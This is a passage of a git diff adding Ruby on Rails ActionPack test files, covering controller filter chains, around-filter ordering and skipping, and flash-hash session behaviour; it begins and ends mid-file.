+ def unreached_after_filter
+ @ran_filter << "unreached_after_filter_after_render"
+ end
+ end
+
+ class RenderingForPrependAfterFilterController < RenderingController
+ prepend_after_filter :unreached_prepend_after_filter
+
+ private
+ def unreached_prepend_after_filter
+ @ran_filter << "unreached_preprend_after_filter_after_render"
+ end
+ end
+
+ class BeforeFilterRedirectionController < ActionController::Base
+ before_filter :before_filter_redirects
+ after_filter :unreached_after_filter
+
+ def show
+ @ran_action = true
+ render :inline => "ran show action"
+ end
+
+ def target_of_redirection
+ @ran_target_of_redirection = true
+ render :inline => "ran target_of_redirection action"
+ end
+
+ private
+ def before_filter_redirects
+ @ran_filter ||= []
+ @ran_filter << "before_filter_redirects"
+ redirect_to(:action => 'target_of_redirection')
+ end
+
+ def unreached_after_filter
+ @ran_filter << "unreached_after_filter_after_redirection"
+ end
+ end
+
+ class BeforeFilterRedirectionForPrependAfterFilterController < BeforeFilterRedirectionController
+ prepend_after_filter :unreached_prepend_after_filter_after_redirection
+
+ private
+ def unreached_prepend_after_filter_after_redirection
+ @ran_filter << "unreached_prepend_after_filter_after_redirection"
+ end
+ end
+
+ class ConditionalFilterController < ActionController::Base
+ def show
+ render :inline => "ran action"
+ end
+
+ def another_action
+ render :inline => "ran action"
+ end
+
+ def show_without_filter
+ render :inline => "ran action without filter"
+ end
+
+ private
+ def ensure_login
+ @ran_filter ||= []
+ @ran_filter << "ensure_login"
+ end
+
+ def clean_up_tmp
+ @ran_filter ||= []
+ @ran_filter << "clean_up_tmp"
+ end
+ end
+
+ class ConditionalCollectionFilterController < ConditionalFilterController
+ before_filter :ensure_login, :except => [ :show_without_filter, :another_action ]
+ end
+
+ class OnlyConditionSymController < ConditionalFilterController
+ before_filter :ensure_login, :only => :show
+ end
+
+ class ExceptConditionSymController < ConditionalFilterController
+ before_filter :ensure_login, :except => :show_without_filter
+ end
+
+ class BeforeAndAfterConditionController < ConditionalFilterController
+ before_filter :ensure_login, :only => :show
+ after_filter :clean_up_tmp, :only => :show
+ end
+
+ class OnlyConditionProcController < ConditionalFilterController
+ before_filter(:only => :show) {|c| c.instance_variable_set(:"@ran_proc_filter", true) }
+ end
+
+ class ExceptConditionProcController < ConditionalFilterController
+ before_filter(:except => :show_without_filter) {|c| c.instance_variable_set(:"@ran_proc_filter", true) }
+ end
+
+ class ConditionalClassFilter
+ def self.before(controller) controller.instance_variable_set(:"@ran_class_filter", true) end
+ end
+
+ class OnlyConditionClassController < ConditionalFilterController
+ before_filter ConditionalClassFilter, :only => :show
+ end
+
+ class ExceptConditionClassController < ConditionalFilterController
+ before_filter ConditionalClassFilter, :except => :show_without_filter
+ end
+
+ class AnomolousYetValidConditionController < ConditionalFilterController
+ before_filter(ConditionalClassFilter, :ensure_login, Proc.new {|c| c.instance_variable_set(:"@ran_proc_filter1", true)}, :except => :show_without_filter) { |c| c.instance_variable_set(:"@ran_proc_filter2", true)}
+ end
+
+ class ConditionalOptionsFilter < ConditionalFilterController
+ before_filter :ensure_login, :if => Proc.new { |c| true }
+ before_filter :clean_up_tmp, :if => Proc.new { |c| false }
+ end
+
+ class PrependingController < TestController
+ prepend_before_filter :wonderful_life
+ # skip_before_filter :fire_flash
+
+ private
+ def wonderful_life
+ @ran_filter ||= []
+ @ran_filter << "wonderful_life"
+ end
+ end
+
+ class SkippingAndLimitedController < TestController
+ skip_before_filter :ensure_login
+ before_filter :ensure_login, :only => :index
+
+ def index
+ render :text => 'ok'
+ end
+
+ def public
+ render :text => 'ok'
+ end
+ end
+
+ class SkippingAndReorderingController < TestController
+ skip_before_filter :ensure_login
+ before_filter :find_record
+ before_filter :ensure_login
+
+ def index
+ render :text => 'ok'
+ end
+
+ private
+ def find_record
+ @ran_filter ||= []
+ @ran_filter << "find_record"
+ end
+ end
+
+ class ConditionalSkippingController < TestController
+ skip_before_filter :ensure_login, :only => [ :login ]
+ skip_after_filter :clean_up, :only => [ :login ]
+
+ before_filter :find_user, :only => [ :change_password ]
+
+ def login
+ render :inline => "ran action"
+ end
+
+ def change_password
+ render :inline => "ran action"
+ end
+
+ protected
+ def find_user
+ @ran_filter ||= []
+ @ran_filter << "find_user"
+ end
+ end
+
+ class ConditionalParentOfConditionalSkippingController < ConditionalFilterController
+ before_filter :conditional_in_parent_before, :only => [:show, :another_action]
+ after_filter :conditional_in_parent_after, :only => [:show, :another_action]
+
+ private
+
+ def conditional_in_parent_before
+ @ran_filter ||= []
+ @ran_filter << 'conditional_in_parent_before'
+ end
+
+ def conditional_in_parent_after
+ @ran_filter ||= []
+ @ran_filter << 'conditional_in_parent_after'
+ end
+ end
+
+ class ChildOfConditionalParentController < ConditionalParentOfConditionalSkippingController
+ skip_before_filter :conditional_in_parent_before, :only => :another_action
+ skip_after_filter :conditional_in_parent_after, :only => :another_action
+ end
+
+ class AnotherChildOfConditionalParentController < ConditionalParentOfConditionalSkippingController
+ skip_before_filter :conditional_in_parent_before, :only => :show
+ end
+
+ class ProcController < PrependingController
+ before_filter(proc { |c| c.instance_variable_set(:"@ran_proc_filter", true) })
+ end
+
+ class ImplicitProcController < PrependingController
+ before_filter { |c| c.instance_variable_set(:"@ran_proc_filter", true) }
+ end
+
+ class AuditFilter
+ def self.before(controller)
+ controller.instance_variable_set(:"@was_audited", true)
+ end
+ end
+
+ class AroundFilter
+ def before(controller)
+ @execution_log = "before"
+ controller.class.execution_log << " before aroundfilter " if controller.respond_to? :execution_log
+ controller.instance_variable_set(:"@before_ran", true)
+ end
+
+ def after(controller)
+ controller.instance_variable_set(:"@execution_log", @execution_log + " and after")
+ controller.instance_variable_set(:"@after_ran", true)
+ controller.class.execution_log << " after aroundfilter " if controller.respond_to? :execution_log
+ end
+
+ def around(controller)
+ before(controller)
+ yield
+ after(controller)
+ end
+ end
+
+ class AppendedAroundFilter
+ def before(controller)
+ controller.class.execution_log << " before appended aroundfilter "
+ end
+
+ def after(controller)
+ controller.class.execution_log << " after appended aroundfilter "
+ end
+
+ def around(controller)
+ before(controller)
+ yield
+ after(controller)
+ end
+ end
+
+ class AuditController < ActionController::Base
+ before_filter(AuditFilter)
+
+ def show
+ render :text => "hello"
+ end
+ end
+
+ class AroundFilterController < PrependingController
+ around_filter AroundFilter.new
+ end
+
+ class BeforeAfterClassFilterController < PrependingController
+ begin
+ filter = AroundFilter.new
+ before_filter filter
+ after_filter filter
+ end
+ end
+
+ class MixedFilterController < PrependingController
+ cattr_accessor :execution_log
+
+ def initialize
+ @@execution_log = ""
+ super()
+ end
+
+ before_filter { |c| c.class.execution_log << " before procfilter " }
+ prepend_around_filter AroundFilter.new
+
+ after_filter { |c| c.class.execution_log << " after procfilter " }
+ append_around_filter AppendedAroundFilter.new
+ end
+
+ class MixedSpecializationController < ActionController::Base
+ class OutOfOrder < StandardError; end
+
+ before_filter :first
+ before_filter :second, :only => :foo
+
+ def foo
+ render :text => 'foo'
+ end
+
+ def bar
+ render :text => 'bar'
+ end
+
+ protected
+ def first
+ @first = true
+ end
+
+ def second
+ raise OutOfOrder unless @first
+ end
+ end
+
+ class DynamicDispatchController < ActionController::Base
+ before_filter :choose
+
+ %w(foo bar baz).each do |action|
+ define_method(action) { render :text => action }
+ end
+
+ private
+ def choose
+ self.action_name = params[:choose]
+ end
+ end
+
+ class PrependingBeforeAndAfterController < ActionController::Base
+ prepend_before_filter :before_all
+ prepend_after_filter :after_all
+ before_filter :between_before_all_and_after_all
+
+ def before_all
+ @ran_filter ||= []
+ @ran_filter << 'before_all'
+ end
+
+ def after_all
+ @ran_filter ||= []
+ @ran_filter << 'after_all'
+ end
+
+ def between_before_all_and_after_all
+ @ran_filter ||= []
+ @ran_filter << 'between_before_all_and_after_all'
+ end
+ def show
+ render :text => 'hello'
+ end
+ end
+
+ class ErrorToRescue < Exception; end
+
+ class RescuingAroundFilterWithBlock
+ def around(controller)
+ yield
+ rescue ErrorToRescue => ex
+ controller.__send__ :render, :text => "I rescued this: #{ex.inspect}"
+ end
+ end
+
+ class RescuedController < ActionController::Base
+ around_filter RescuingAroundFilterWithBlock.new
+
+ def show
+ raise ErrorToRescue.new("Something made the bad noise.")
+ end
+ end
+
+ class NonYieldingAroundFilterController < ActionController::Base
+
+ before_filter :filter_one
+ around_filter :non_yielding_filter
+ before_filter :filter_two
+ after_filter :filter_three
+
+ def index
+ render :inline => "index"
+ end
+
+ private
+
+ def filter_one
+ @filters ||= []
+ @filters << "filter_one"
+ end
+
+ def filter_two
+ @filters << "filter_two"
+ end
+
+ def non_yielding_filter
+ @filters << "it didn't yield"
+ @filter_return_value
+ end
+
+ def filter_three
+ @filters << "filter_three"
+ end
+
+ end
+
+ class ImplicitActionsController < ActionController::Base
+ before_filter :find_only, :only => :edit
+ before_filter :find_except, :except => :edit
+
+ private
+
+ def find_only
+ @only = 'Only'
+ end
+
+ def find_except
+ @except = 'Except'
+ end
+ end
+
+ def test_non_yielding_around_filters_not_returning_false_do_not_raise
+ controller = NonYieldingAroundFilterController.new
+ controller.instance_variable_set "@filter_return_value", true
+ assert_nothing_raised do
+ test_process(controller, "index")
+ end
+ end
+
+ def test_non_yielding_around_filters_returning_false_do_not_raise
+ controller = NonYieldingAroundFilterController.new
+ controller.instance_variable_set "@filter_return_value", false
+ assert_nothing_raised do
+ test_process(controller, "index")
+ end
+ end
+
+ def test_after_filters_are_not_run_if_around_filter_returns_false
+ controller = NonYieldingAroundFilterController.new
+ controller.instance_variable_set "@filter_return_value", false
+ test_process(controller, "index")
+ assert_equal ["filter_one", "it didn't yield"], controller.assigns['filters']
+ end
+
+ def test_after_filters_are_not_run_if_around_filter_does_not_yield
+ controller = NonYieldingAroundFilterController.new
+ controller.instance_variable_set "@filter_return_value", true
+ test_process(controller, "index")
+ assert_equal ["filter_one", "it didn't yield"], controller.assigns['filters']
+ end
+
+ def test_added_filter_to_inheritance_graph
+ assert_equal [ :ensure_login ], TestController.before_filters
+ end
+
+ def test_base_class_in_isolation
+ assert_equal [ ], ActionController::Base.before_filters
+ end
+
+ def test_prepending_filter
+ assert_equal [ :wonderful_life, :ensure_login ], PrependingController.before_filters
+ end
+
+ def test_running_filters
+ test_process(PrependingController)
+ assert_equal %w( wonderful_life ensure_login ), assigns["ran_filter"]
+ end
+
+ def test_running_filters_with_proc
+ test_process(ProcController)
+ assert assigns["ran_proc_filter"]
+ end
+
+ def test_running_filters_with_implicit_proc
+ test_process(ImplicitProcController)
+ assert assigns["ran_proc_filter"]
+ end
+
+ def test_running_filters_with_class
+ test_process(AuditController)
+ assert assigns["was_audited"]
+ end
+
+ def test_running_anomolous_yet_valid_condition_filters
+ test_process(AnomolousYetValidConditionController)
+ assert_equal %w( ensure_login ), assigns["ran_filter"]
+ assert assigns["ran_class_filter"]
+ assert assigns["ran_proc_filter1"]
+ assert assigns["ran_proc_filter2"]
+
+ test_process(AnomolousYetValidConditionController, "show_without_filter")
+ assert_nil assigns["ran_filter"]
+ assert !assigns["ran_class_filter"]
+ assert !assigns["ran_proc_filter1"]
+ assert !assigns["ran_proc_filter2"]
+ end
+
+ def test_running_conditional_options
+ test_process(ConditionalOptionsFilter)
+ assert_equal %w( ensure_login ), assigns["ran_filter"]
+ end
+
+ def test_running_collection_condition_filters
+ test_process(ConditionalCollectionFilterController)
+ assert_equal %w( ensure_login ), assigns["ran_filter"]
+ test_process(ConditionalCollectionFilterController, "show_without_filter")
+ assert_nil assigns["ran_filter"]
+ test_process(ConditionalCollectionFilterController, "another_action")
+ assert_nil assigns["ran_filter"]
+ end
+
+ def test_running_only_condition_filters
+ test_process(OnlyConditionSymController)
+ assert_equal %w( ensure_login ), assigns["ran_filter"]
+ test_process(OnlyConditionSymController, "show_without_filter")
+ assert_nil assigns["ran_filter"]
+
+ test_process(OnlyConditionProcController)
+ assert assigns["ran_proc_filter"]
+ test_process(OnlyConditionProcController, "show_without_filter")
+ assert !assigns["ran_proc_filter"]
+
+ test_process(OnlyConditionClassController)
+ assert assigns["ran_class_filter"]
+ test_process(OnlyConditionClassController, "show_without_filter")
+ assert !assigns["ran_class_filter"]
+ end
+
+ def test_running_except_condition_filters
+ test_process(ExceptConditionSymController)
+ assert_equal %w( ensure_login ), assigns["ran_filter"]
+ test_process(ExceptConditionSymController, "show_without_filter")
+ assert_nil assigns["ran_filter"]
+
+ test_process(ExceptConditionProcController)
+ assert assigns["ran_proc_filter"]
+ test_process(ExceptConditionProcController, "show_without_filter")
+ assert !assigns["ran_proc_filter"]
+
+ test_process(ExceptConditionClassController)
+ assert assigns["ran_class_filter"]
+ test_process(ExceptConditionClassController, "show_without_filter")
+ assert !assigns["ran_class_filter"]
+ end
+
+ def test_running_before_and_after_condition_filters
+ test_process(BeforeAndAfterConditionController)
+ assert_equal %w( ensure_login clean_up_tmp), assigns["ran_filter"]
+ test_process(BeforeAndAfterConditionController, "show_without_filter")
+ assert_nil assigns["ran_filter"]
+ end
+
+ def test_around_filter
+ test_process(AroundFilterController)
+ assert assigns["before_ran"]
+ assert assigns["after_ran"]
+ end
+
+ def test_before_after_class_filter
+ test_process(BeforeAfterClassFilterController)
+ assert assigns["before_ran"]
+ assert assigns["after_ran"]
+ end
+
+ def test_having_properties_in_around_filter
+ test_process(AroundFilterController)
+ assert_equal "before and after", assigns["execution_log"]
+ end
+
+ def test_prepending_and_appending_around_filter
+ test_process(MixedFilterController)
+ assert_equal " before aroundfilter before procfilter before appended aroundfilter " +
+ " after appended aroundfilter after procfilter after aroundfilter ",
+ MixedFilterController.execution_log
+ end
+
+ def test_rendering_breaks_filtering_chain
+ response = test_process(RenderingController)
+ assert_equal "something else", response.body
+ assert !assigns["ran_action"]
+ end
+
+ def test_before_filter_rendering_breaks_filtering_chain_for_after_filter
+ test_process(RenderingController)
+ assert_equal %w( before_filter_rendering ), assigns["ran_filter"]
+ assert !assigns["ran_action"]
+ end
+
+ def test_before_filter_redirects_breaks_filtering_chain_for_after_filter
+ test_process(BeforeFilterRedirectionController)
+ assert_response :redirect
+ assert_equal "http://test.host/filter_test/before_filter_redirection/target_of_redirection", redirect_to_url
+ assert_equal %w( before_filter_redirects ), assigns["ran_filter"]
+ end
+
+ def test_before_filter_rendering_breaks_filtering_chain_for_preprend_after_filter
+ test_process(RenderingForPrependAfterFilterController)
+ assert_equal %w( before_filter_rendering ), assigns["ran_filter"]
+ assert !assigns["ran_action"]
+ end
+
+ def test_before_filter_redirects_breaks_filtering_chain_for_preprend_after_filter
+ test_process(BeforeFilterRedirectionForPrependAfterFilterController)
+ assert_response :redirect
+ assert_equal "http://test.host/filter_test/before_filter_redirection_for_prepend_after_filter/target_of_redirection", redirect_to_url
+ assert_equal %w( before_filter_redirects ), assigns["ran_filter"]
+ end
+
+ def test_filters_with_mixed_specialization_run_in_order
+ assert_nothing_raised do
+ response = test_process(MixedSpecializationController, 'bar')
+ assert_equal 'bar', response.body
+ end
+
+ assert_nothing_raised do
+ response = test_process(MixedSpecializationController, 'foo')
+ assert_equal 'foo', response.body
+ end
+ end
+
+ def test_dynamic_dispatch
+ %w(foo bar baz).each do |action|
+ request = ActionController::TestRequest.new
+ request.query_parameters[:choose] = action
+ response = DynamicDispatchController.action(action).call(request.env).last
+ assert_equal action, response.body
+ end
+ end
+
+ def test_running_prepended_before_and_after_filter
+ test_process(PrependingBeforeAndAfterController)
+ assert_equal %w( before_all between_before_all_and_after_all after_all ), assigns["ran_filter"]
+ end
+
+ def test_skipping_and_limiting_controller
+ test_process(SkippingAndLimitedController, "index")
+ assert_equal %w( ensure_login ), assigns["ran_filter"]
+ test_process(SkippingAndLimitedController, "public")
+ assert_nil assigns["ran_filter"]
+ end
+
+ def test_skipping_and_reordering_controller
+ test_process(SkippingAndReorderingController, "index")
+ assert_equal %w( find_record ensure_login ), assigns["ran_filter"]
+ end
+
+ def test_conditional_skipping_of_filters
+ test_process(ConditionalSkippingController, "login")
+ assert_nil assigns["ran_filter"]
+ test_process(ConditionalSkippingController, "change_password")
+ assert_equal %w( ensure_login find_user ), assigns["ran_filter"]
+
+ test_process(ConditionalSkippingController, "login")
+ assert !@controller.instance_variable_defined?("@ran_after_filter")
+ test_process(ConditionalSkippingController, "change_password")
+ assert_equal %w( clean_up ), @controller.instance_variable_get("@ran_after_filter")
+ end
+
+ def test_conditional_skipping_of_filters_when_parent_filter_is_also_conditional
+ test_process(ChildOfConditionalParentController)
+ assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), assigns['ran_filter']
+ test_process(ChildOfConditionalParentController, 'another_action')
+ assert_nil assigns['ran_filter']
+ end
+
+ def test_condition_skipping_of_filters_when_siblings_also_have_conditions
+ test_process(ChildOfConditionalParentController)
+ assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), assigns['ran_filter']
+ test_process(AnotherChildOfConditionalParentController)
+ assert_equal %w( conditional_in_parent_after ), assigns['ran_filter']
+ test_process(ChildOfConditionalParentController)
+ assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), assigns['ran_filter']
+ end
+
+ def test_changing_the_requirements
+ test_process(ChangingTheRequirementsController, "go_wild")
+ assert_nil assigns['ran_filter']
+ end
+
+ def test_a_rescuing_around_filter
+ response = nil
+ assert_nothing_raised do
+ response = test_process(RescuedController)
+ end
+
+ assert response.success?
+ assert_equal("I rescued this: #<FilterTest::ErrorToRescue: Something made the bad noise.>", response.body)
+ end
+
+ def test_filters_obey_only_and_except_for_implicit_actions
+ test_process(ImplicitActionsController, 'show')
+ assert_equal 'Except', assigns(:except)
+ assert_nil assigns(:only)
+ assert_equal 'show', response.body
+
+ test_process(ImplicitActionsController, 'edit')
+ assert_equal 'Only', assigns(:only)
+ assert_nil assigns(:except)
+ assert_equal 'edit', response.body
+ end
+
+ private
+ def test_process(controller, action = "show")
+ @controller = controller.is_a?(Class) ? controller.new : controller
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+
+ process(action)
+ end
+end
+
+class PostsController < ActionController::Base
+ module AroundExceptions
+ class Error < StandardError ; end
+ class Before < Error ; end
+ class After < Error ; end
+ end
+ include AroundExceptions
+
+ class DefaultFilter
+ include AroundExceptions
+ end
+
+ module_eval %w(raises_before raises_after raises_both no_raise no_filter).map { |action| "def #{action}; default_action end" }.join("\n")
+
+ private
+ def default_action
+ render :inline => "#{action_name} called"
+ end
+end
+
+class ControllerWithSymbolAsFilter < PostsController
+ around_filter :raise_before, :only => :raises_before
+ around_filter :raise_after, :only => :raises_after
+ around_filter :without_exception, :only => :no_raise
+
+ private
+ def raise_before
+ raise Before
+ yield
+ end
+
+ def raise_after
+ yield
+ raise After
+ end
+
+ def without_exception
+ # Do stuff...
+ wtf = 1 + 1
+
+ yield
+
+ # Do stuff...
+ wtf += 1
+ end
+end
+
+class ControllerWithFilterClass < PostsController
+ class YieldingFilter < DefaultFilter
+ def self.around(controller)
+ yield
+ raise After
+ end
+ end
+
+ around_filter YieldingFilter, :only => :raises_after
+end
+
+class ControllerWithFilterInstance < PostsController
+ class YieldingFilter < DefaultFilter
+ def around(controller)
+ yield
+ raise After
+ end
+ end
+
+ around_filter YieldingFilter.new, :only => :raises_after
+end
+
+class ControllerWithFilterMethod < PostsController
+ class YieldingFilter < DefaultFilter
+ def around(controller)
+ yield
+ raise After
+ end
+ end
+
+ around_filter YieldingFilter.new.method(:around), :only => :raises_after
+end
+
+class ControllerWithProcFilter < PostsController
+ around_filter(:only => :no_raise) do |c,b|
+ c.instance_variable_set(:"@before", true)
+ b.call
+ c.instance_variable_set(:"@after", true)
+ end
+end
+
+class ControllerWithNestedFilters < ControllerWithSymbolAsFilter
+ around_filter :raise_before, :raise_after, :without_exception, :only => :raises_both
+end
+
+class ControllerWithAllTypesOfFilters < PostsController
+ before_filter :before
+ around_filter :around
+ after_filter :after
+ around_filter :around_again
+
+ private
+ def before
+ @ran_filter ||= []
+ @ran_filter << 'before'
+ end
+
+ def around
+ @ran_filter << 'around (before yield)'
+ yield
+ @ran_filter << 'around (after yield)'
+ end
+
+ def after
+ @ran_filter << 'after'
+ end
+
+ def around_again
+ @ran_filter << 'around_again (before yield)'
+ yield
+ @ran_filter << 'around_again (after yield)'
+ end
+end
+
+class ControllerWithTwoLessFilters < ControllerWithAllTypesOfFilters
+ skip_filter :around_again
+ skip_filter :after
+end
+
+class YieldingAroundFiltersTest < ActionController::TestCase
+ include PostsController::AroundExceptions
+
+ def test_base
+ controller = PostsController
+ assert_nothing_raised { test_process(controller,'no_raise') }
+ assert_nothing_raised { test_process(controller,'raises_before') }
+ assert_nothing_raised { test_process(controller,'raises_after') }
+ assert_nothing_raised { test_process(controller,'no_filter') }
+ end
+
+ def test_with_symbol
+ controller = ControllerWithSymbolAsFilter
+ assert_nothing_raised { test_process(controller,'no_raise') }
+ assert_raise(Before) { test_process(controller,'raises_before') }
+ assert_raise(After) { test_process(controller,'raises_after') }
+ assert_nothing_raised { test_process(controller,'no_raise') }
+ end
+
+ def test_with_class
+ controller = ControllerWithFilterClass
+ assert_nothing_raised { test_process(controller,'no_raise') }
+ assert_raise(After) { test_process(controller,'raises_after') }
+ end
+
+ def test_with_instance
+ controller = ControllerWithFilterInstance
+ assert_nothing_raised { test_process(controller,'no_raise') }
+ assert_raise(After) { test_process(controller,'raises_after') }
+ end
+
+ def test_with_proc
+ test_process(ControllerWithProcFilter,'no_raise')
+ assert assigns['before']
+ assert assigns['after']
+ end
+
+ def test_nested_filters
+ controller = ControllerWithNestedFilters
+ assert_nothing_raised do
+ begin
+ test_process(controller,'raises_both')
+ rescue Before, After
+ end
+ end
+ assert_raise Before do
+ begin
+ test_process(controller,'raises_both')
+ rescue After
+ end
+ end
+ end
+
+ def test_filter_order_with_all_filter_types
+ test_process(ControllerWithAllTypesOfFilters,'no_raise')
+ assert_equal 'before around (before yield) around_again (before yield) around_again (after yield) after around (after yield)', assigns['ran_filter'].join(' ')
+ end
+
+ def test_filter_order_with_skip_filter_method
+ test_process(ControllerWithTwoLessFilters,'no_raise')
+ assert_equal 'before around (before yield) around (after yield)', assigns['ran_filter'].join(' ')
+ end
+
+ def test_first_filter_in_multiple_before_filter_chain_halts
+ controller = ::FilterTest::TestMultipleFiltersController.new
+ response = test_process(controller, 'fail_1')
+ assert_equal ' ', response.body
+ assert_equal 1, controller.instance_variable_get(:@try)
+ end
+
+ def test_second_filter_in_multiple_before_filter_chain_halts
+ controller = ::FilterTest::TestMultipleFiltersController.new
+ response = test_process(controller, 'fail_2')
+ assert_equal ' ', response.body
+ assert_equal 2, controller.instance_variable_get(:@try)
+ end
+
+ def test_last_filter_in_multiple_before_filter_chain_halts
+ controller = ::FilterTest::TestMultipleFiltersController.new
+ response = test_process(controller, 'fail_3')
+ assert_equal ' ', response.body
+ assert_equal 3, controller.instance_variable_get(:@try)
+ end
+
+ protected
+ def test_process(controller, action = "show")
+ @controller = controller.is_a?(Class) ? controller.new : controller
+ process(action)
+ end
+end
diff --git a/actionpack/test/controller/flash_hash_test.rb b/actionpack/test/controller/flash_hash_test.rb
new file mode 100644
index 0000000..5490d93
--- /dev/null
+++ b/actionpack/test/controller/flash_hash_test.rb
@@ -0,0 +1,192 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ class FlashHashTest < ActiveSupport::TestCase
+ def setup
+ @hash = Flash::FlashHash.new
+ end
+
+ def test_set_get
+ @hash[:foo] = 'zomg'
+ assert_equal 'zomg', @hash[:foo]
+ end
+
+ def test_keys
+ assert_equal [], @hash.keys
+
+ @hash['foo'] = 'zomg'
+ assert_equal ['foo'], @hash.keys
+
+ @hash['bar'] = 'zomg'
+ assert_equal ['foo', 'bar'].sort, @hash.keys.sort
+ end
+
+ def test_update
+ @hash['foo'] = 'bar'
+ @hash.update('foo' => 'baz', 'hello' => 'world')
+
+ assert_equal 'baz', @hash['foo']
+ assert_equal 'world', @hash['hello']
+ end
+
+ def test_delete
+ @hash['foo'] = 'bar'
+ @hash.delete 'foo'
+
+ assert !@hash.key?('foo')
+ assert_nil @hash['foo']
+ end
+
+ def test_to_hash
+ @hash['foo'] = 'bar'
+ assert_equal({'foo' => 'bar'}, @hash.to_hash)
+
+ @hash.to_hash['zomg'] = 'aaron'
+ assert !@hash.key?('zomg')
+ assert_equal({'foo' => 'bar'}, @hash.to_hash)
+ end
+
+ def test_to_session_value
+ @hash['foo'] = 'bar'
+ assert_equal({'flashes' => {'foo' => 'bar'}, 'discard' => []}, @hash.to_session_value)
+
+ @hash.discard('foo')
+ assert_equal({'flashes' => {'foo' => 'bar'}, 'discard' => %w[foo]}, @hash.to_session_value)
+
+ @hash.now['qux'] = 1
+ assert_equal({'flashes' => {'foo' => 'bar', 'qux' => 1}, 'discard' => %w[foo qux]}, @hash.to_session_value)
+
+ @hash.sweep
+ assert_equal(nil, @hash.to_session_value)
+ end
+
+ def test_from_session_value
+ rails_3_2_cookie = 'BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJWY4ZTFiODE1MmJhNzYwOWMyOGJiYjE3ZWM5MjYzYmE3BjsAVEkiCmZsYXNoBjsARm86JUFjdGlvbkRpc3BhdGNoOjpGbGFzaDo6Rmxhc2hIYXNoCToKQHVzZWRvOghTZXQGOgpAaGFzaHsAOgxAY2xvc2VkRjoNQGZsYXNoZXN7BkkiDG1lc3NhZ2UGOwBGSSIKSGVsbG8GOwBGOglAbm93MA=='
+ session = Marshal.load(Base64.decode64(rails_3_2_cookie))
+ hash = Flash::FlashHash.from_session_value(session['flash'])
+ assert_equal({'flashes' => {'message' => 'Hello'}, 'discard' => %w[message]}, hash.to_session_value)
+ end
+
+ def test_empty?
+ assert @hash.empty?
+ @hash['zomg'] = 'bears'
+ assert !@hash.empty?
+ @hash.clear
+ assert @hash.empty?
+ end
+
+ def test_each
+ @hash['hello'] = 'world'
+ @hash['foo'] = 'bar'
+
+ things = []
+ @hash.each do |k,v|
+ things << [k,v]
+ end
+
+ assert_equal([%w{ hello world }, %w{ foo bar }].sort, things.sort)
+ end
+
+ def test_replace
+ @hash['hello'] = 'world'
+ @hash.replace('omg' => 'aaron')
+ assert_equal({'omg' => 'aaron'}, @hash.to_hash)
+ end
+
+ def test_discard_no_args
+ @hash['hello'] = 'world'
+ @hash.discard
+
+ @hash.sweep
+ assert_equal({}, @hash.to_hash)
+ end
+
+ def test_discard_one_arg
+ @hash['hello'] = 'world'
+ @hash['omg'] = 'world'
+ @hash.discard 'hello'
+
+ @hash.sweep
+ assert_equal({'omg' => 'world'}, @hash.to_hash)
+ end
+
+ def test_keep_sweep
+ @hash['hello'] = 'world'
+
+ @hash.sweep
+ assert_equal({'hello' => 'world'}, @hash.to_hash)
+ end
+
+ def test_update_sweep
+ @hash['hello'] = 'world'
+ @hash.update({'hi' => 'mom'})
+
+ @hash.sweep
+ assert_equal({'hello' => 'world', 'hi' => 'mom'}, @hash.to_hash)
+ end
+
+ def test_update_delete_sweep
+ @hash['hello'] = 'world'
+ @hash.delete 'hello'
+ @hash.update({'hello' => 'mom'})
+
+ @hash.sweep
+ assert_equal({'hello' => 'mom'}, @hash.to_hash)
+ end
+
+ def test_delete_sweep
+ @hash['hello'] = 'world'
+ @hash['hi'] = 'mom'
+ @hash.delete 'hi'
+
+ @hash.sweep
+ assert_equal({'hello' => 'world'}, @hash.to_hash)
+ end
+
+ def test_clear_sweep
+ @hash['hello'] = 'world'
+ @hash.clear
+
+ @hash.sweep
+ assert_equal({}, @hash.to_hash)
+ end
+
+ def test_replace_sweep
+ @hash['hello'] = 'world'
+ @hash.replace({'hi' => 'mom'})
+
+ @hash.sweep
+ assert_equal({'hi' => 'mom'}, @hash.to_hash)
+ end
+
+ def test_discard_then_add
+ @hash['hello'] = 'world'
+ @hash['omg'] = 'world'
+ @hash.discard 'hello'
+ @hash['hello'] = 'world'
+
+ @hash.sweep
+ assert_equal({'omg' => 'world', 'hello' => 'world'}, @hash.to_hash)
+ end
+
+ def test_keep_all_sweep
+ @hash['hello'] = 'world'
+ @hash['omg'] = 'world'
+ @hash.discard 'hello'
+ @hash.keep
+
+ @hash.sweep
+ assert_equal({'omg' => 'world', 'hello' => 'world'}, @hash.to_hash)
+ end
+
+ def test_double_sweep
+ @hash['hello'] = 'world'
+ @hash.sweep
+
+ assert_equal({'hello' => 'world'}, @hash.to_hash)
+
+ @hash.sweep
+ assert_equal({}, @hash.to_hash)
+ end
+ end
+end
diff --git a/actionpack/test/controller/flash_test.rb b/actionpack/test/controller/flash_test.rb
new file mode 100644
index 0000000..3b874a7
--- /dev/null
+++ b/actionpack/test/controller/flash_test.rb
@@ -0,0 +1,314 @@
+require 'abstract_unit'
+require 'active_support/key_generator'
+
+class FlashTest < ActionController::TestCase
+ class TestController < ActionController::Base
+ def set_flash
+ flash["that"] = "hello"
+ render :inline => "hello"
+ end
+
+ def set_flash_now
+ flash.now["that"] = "hello"
+ flash.now["foo"] ||= "bar"
+ flash.now["foo"] ||= "err"
+ @flashy = flash.now["that"]
+ @flash_copy = {}.update flash
+ render :inline => "hello"
+ end
+
+ def attempt_to_use_flash_now
+ @flash_copy = {}.update flash
+ @flashy = flash["that"]
+ render :inline => "hello"
+ end
+
+ def use_flash
+ @flash_copy = {}.update flash
+ @flashy = flash["that"]
+ render :inline => "hello"
+ end
+
+ def use_flash_and_keep_it
+ @flash_copy = {}.update flash
+ @flashy = flash["that"]
+ flash.keep
+ render :inline => "hello"
+ end
+
+ def use_flash_and_update_it
+ flash.update("this" => "hello again")
+ @flash_copy = {}.update flash
+ render :inline => "hello"
+ end
+
+ def use_flash_after_reset_session
+ flash["that"] = "hello"
+ @flashy_that = flash["that"]
+ reset_session
+ @flashy_that_reset = flash["that"]
+ flash["this"] = "good-bye"
+ @flashy_this = flash["this"]
+ render :inline => "hello"
+ end
+
+ # methods for test_sweep_after_halted_action_chain
+ before_action :halt_and_redir, only: 'filter_halting_action'
+
+ def std_action
